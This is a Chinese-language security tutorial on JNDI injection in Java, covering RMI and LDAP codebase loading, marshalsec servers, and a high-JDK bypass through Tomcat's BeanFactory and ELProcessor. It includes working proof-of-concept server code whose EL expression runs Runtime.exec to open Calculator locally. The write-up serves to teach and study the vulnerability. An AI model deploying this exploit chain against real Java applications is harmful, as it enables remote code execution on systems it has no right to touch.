JavaSec系列 - 2. JNDI注入

本章源码: https://github.com/hey3e/JavaSec-Code/tree/main/javasec2

命名与目录系统 (Naming and Directory services),如RMI (Remote Method Invocation)、LDAP (Lightweight Directory Access Protocol) 等,能够以类似字典key-valuename-object形式对对象进行存储,使得我们可以通过名称来查询并访问对象。JNDI (Java Naming and Directory Interface) 便是该过程的接口。

结合上一章的知识,我们考虑在系统中存储对象序列化后的字节流,当用户进行查询时,系统返回对应的字节流,用户再进行反序列化获取对象。但在实际场景中,如果对象过大,采用该方式往往会给系统带来一定的负担。

于是,JNDI使用Naming References的方式进行存储,此时,name-object中的object并非对象本身,而是对象的引用Reference,其中包含对象名及其真正被存放的地址codebase。当用户进行查询时,系统返回Reference,用户解析后再从codebase获取对象。不过这里说的不太严谨,后面会进行补充

不过,上述从远程codebase加载对象的方式存在许多安全问题,随着jdk版本的迭代,系统对codebase已逐渐不再信任,JNDI受到越来越多的限制。我们下面看一下各版本下JNDI如何实现。

(1)jdk<8u121 (RMI+JNDI)

首先,构造要查询的目标类TargetClass

1
2
3
4
5
6
7
8
9
public class TargetClass {
static {
System.out.println("[+] Server Static Constructor Method.");
}

public TargetClass() {
System.out.println("[+] Server Constructor Method.");
}
}

javac编译,并挂到python的简易服务器上:

下面编写RMI服务器的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class RMIServer {
public static void main(String[] args) throws Exception{
//a
Registry registry = LocateRegistry.createRegistry(1099);

//b
String FactoryURL = "http://127.0.0.1:4444/";
Reference reference = new Reference("ReferenceClass","TargetClass", FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);

//c
registry.bind("Target", wrapper);
}
}

其中:

  • a处,创建RMI服务,监听1099端口。
  • b处,构造Reference,codebase为前文的python服务器,对象为TargetClass类。
  • c处,进行存储,name为Target,objectReference

接下来,编写Client查询代码:

1
2
3
4
5
6
public class RMIClient {
public static void main(String[] args) throws Exception{
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/Target");
}
}

注意,Client与TargetClass需要在不同的project中,后面会同本文开头的“不严谨”一起给出解释。这里我们使用InitialContext类的lookup方法向RMI系统进行查询。

运行Server后运行Client,发现TargetClass类的两段代码都被执行,同时服务器收到了一条GET请求:

开始跟进lookupInitialContext类的lookup方法首先调用了getURLOrDefaultInitCtx获取到基于URL scheme的Context,此处是基于rmi的RegistryContext

继续调用两个lookup后,来到RegistryContext类的decodeObject方法,此时Client已经获取到了目标对象的Reference

接着,在NamingManager类的getObjectInstance方法中,对Reference进行了处理,传入getObjectFactoryFromReference方法:

此处处理后的Reference如下,与RMI系统中设置的一致:

其中,className为自定的类名,classFactory为目标类名,classFactoryLocation为codebase。

getObjectFactoryFromReference方法中,程序分别尝试了从本地和codebase两处加载TargetClass

最终,程序选择了codebase的loadClass,并在其中调用了我们熟悉的forName

不仅如此,getObjectFactoryFromReference还调用了newInstance方法完成了对TargetClass的初始化,至此,RMI上的JNDI完成:

在jdk>8u121的环境下使用上述RMI+JNDI时,我们发现Client报错:

可见高版本RMI默认已不信任codebase。为绕过该限制,我们可以转向LDAP+JNDI。

(2)jdk<8u191 (LDAP+JNDI)

这里,我们方便的用marshalsec启动一个LDAP服务器:

修改Client代码中的URL scheme为ldap,端口为1389:

1
2
3
4
5
6
public class RMIClient {
public static void main(String[] args) throws Exception{
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/Target");
}
}

运行,成功加载并初始化TargetClass,LDAP上的JNDI完成:

跟进lookup方法,流程与RMI类似。

(3)JNDI注入

同样,marshalsec也可以启动RMI服务器:

其中,JRMP (Java Remote Method Protocol) 远程方法协议,是用于RMI过程中的协议。

运行Client,可以得到与前文同样的结果。

marshalsec与我们自己编写的RMI服务器之间的不同之处在于,如果你向我们编写的RMI服务器查询一个不存在的对象Foo:

1
ctx.lookup("rmi://127.0.0.1:1097/Foo");

程序会报NameNotFound错误:

这是因为我们的RMI服务器上并未存储名为Foo的Reference

若向marshalsec的RMI服务器查询,成功:

这是因为marshalsec实际上是利用socket自定义了一个RMI服务器,当收到rmi的lookup请求时,服务器会调用handleRMI方法进行处理:

其中,我们提供的参数 http://127.0.0.1:4444/#TargetClass 会被直接包装成Reference返回。即无论Client查询谁,服务器返回的都是我们设计的Reference。因此JNDI一定成功。

marshalsec的LDAP服务器同理,当收到ldap的lookup请求时,调用sendResult方法,返回我们设计的Reference

上面所讲均是JNDI的使用。试想如果我们能够控制目标lookup方法的参数,使其向由我们启动的服务器发起查询,以返回一个指定的恶意Reference,就可以达到远程代码执行的效果。这类攻击就叫做JNDI注入

下面是来自 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf 的两类JNDI注入示意图:

(4)jdk>8u191

在jdk8u191+的环境中,LDAP默认也已不再信任codebase。至此,已难以通过远程加载codebase的方式实现JNDI注入。

下面我们先来填一下前文“不严谨”和“不同project”的坑

我们切回到jdk<8u121的环境下,并在Client的目录下也构造一个TargetClass,使其实现ObjectFactory接口和getObjectInstance方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class TargetClass implements ObjectFactory {
static {
System.out.println("[+] Client's Static Constructor Method.");
}

public TargetClass() {
System.out.println("[+] Client's Constructor Method.");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

还有一点不同,这里我们打印的是”Client…”,而codebase下的TargetClass打印的是”Server…”。

复现RMI+JNDI,查看结果:

可知Client这次拿到的是本地的TargetClass。跟进,再次来到getObjectFactoryFromReference方法,发现这次程序选择了从本地进行加载:

于是,我们可以补充一下文章开头的JNDI知识点:当用户进行查询时,系统返回Reference,用户会先在本地ClassPath中查找该对象,若没有,再去codebase处获取。

综上,我们考虑:既然高版本jdk限制了从codebase获取类,我们就尝试通过利用本地ClassPath中已有的类来实现JNDI注入。

首先,这个类需要实现了ObjectFactory接口和getObjectInstance方法,在Apache Tomcat中,我们找到了符合条件的org.apache.naming.factory.BeanFactory类:

回头debug本地类的JNDI,我们看到该类实现的getObjectInstance方法会被调用:

于是我们下面来看org.apache.naming.factory.BeanFactory类的getObjectInstance方法有什么值得利用的地方。

可见,它会处理ResourceRef类的Reference,加载并初始化名为ReferenceclassName字段的类。由此我们得知,className指定的类必须本地存在且有无参构造方法。

继续向下:

这一段,我们了解到方法获取Reference中”forceString”属性的值并用’=’进行分隔,等号左边成为哈希表forced的一个key,其value是className指定的类中名为等号右边的方法。如”forceString”为”x=y”,则”x”将存为key,value为y方法。注意,此方法的参数paramTypes为一个String类型,所以我们要找的className指定的类中需要有这样一个方法。

继续向下:

这里,方法遍历Reference的所有属性,对type不为if中指定的值的属性,获取其content,并利用反射invokeclassName类中名为type在forced中对应的value的方法,且参数为content。沿续上文的举例,若在Reference中添加type为”x”的属性,则y方法最终将被反射调用。

综上所述,可见如果我们能找到一个符合要求的className类并精心构造一个Reference,通过Client从本地加载org.apache.naming.factory.BeanFactory类并执行getObjectInstance方法,有希望借助反射实现JNDI注入。

最终,我们找到了javax.el.ELProcessor类,它满足我们之前提出的要求:

  • 存在于Tomcat依赖包中。
  • 有无参构造方法。
  • eval方法,其参数为一个String类型。

同时,在设计Reference时,我们需要注意,在jdk8u121+的环境中,是这样检查的codebase的信任问题的:

RegistryContext类的decodeObject方法中,对trustURLCodebasetrueorfalse进行了检查。观察判断条件,我们可以通过设置ReferencefactoryLocation,也就是codebase,为null的方式进行绕过,从而成功进入getObjectInstance方法。

接下来,根据已上思路,我们编写RMI服务器来返回恶意Reference

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer191 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,
"", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\")." + "eval(\"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

其中,”x”属性的content,作为参数传入eval方法后,会被解析成EL表达式从而达到命令执行的效果。

运行Client,弹出计算器,JNDI注入成功:

跟进lookup,可以对org.apache.naming.factory.BeanFactory类的getObjectInstance方法是如何处理Reference的有一个更深的理解。

至此,我们了解了不同环境下JNDI注入的绕过与实现:

  • jdk<8u121:RMI+codebase。
  • jdk<8u191:LDAP+codebase。
  • jdk>8u191:BeanFactory+本地ClassPath。
Author

yekc1m

Posted on

2021-12-29

Updated on

2022-01-04

Licensed under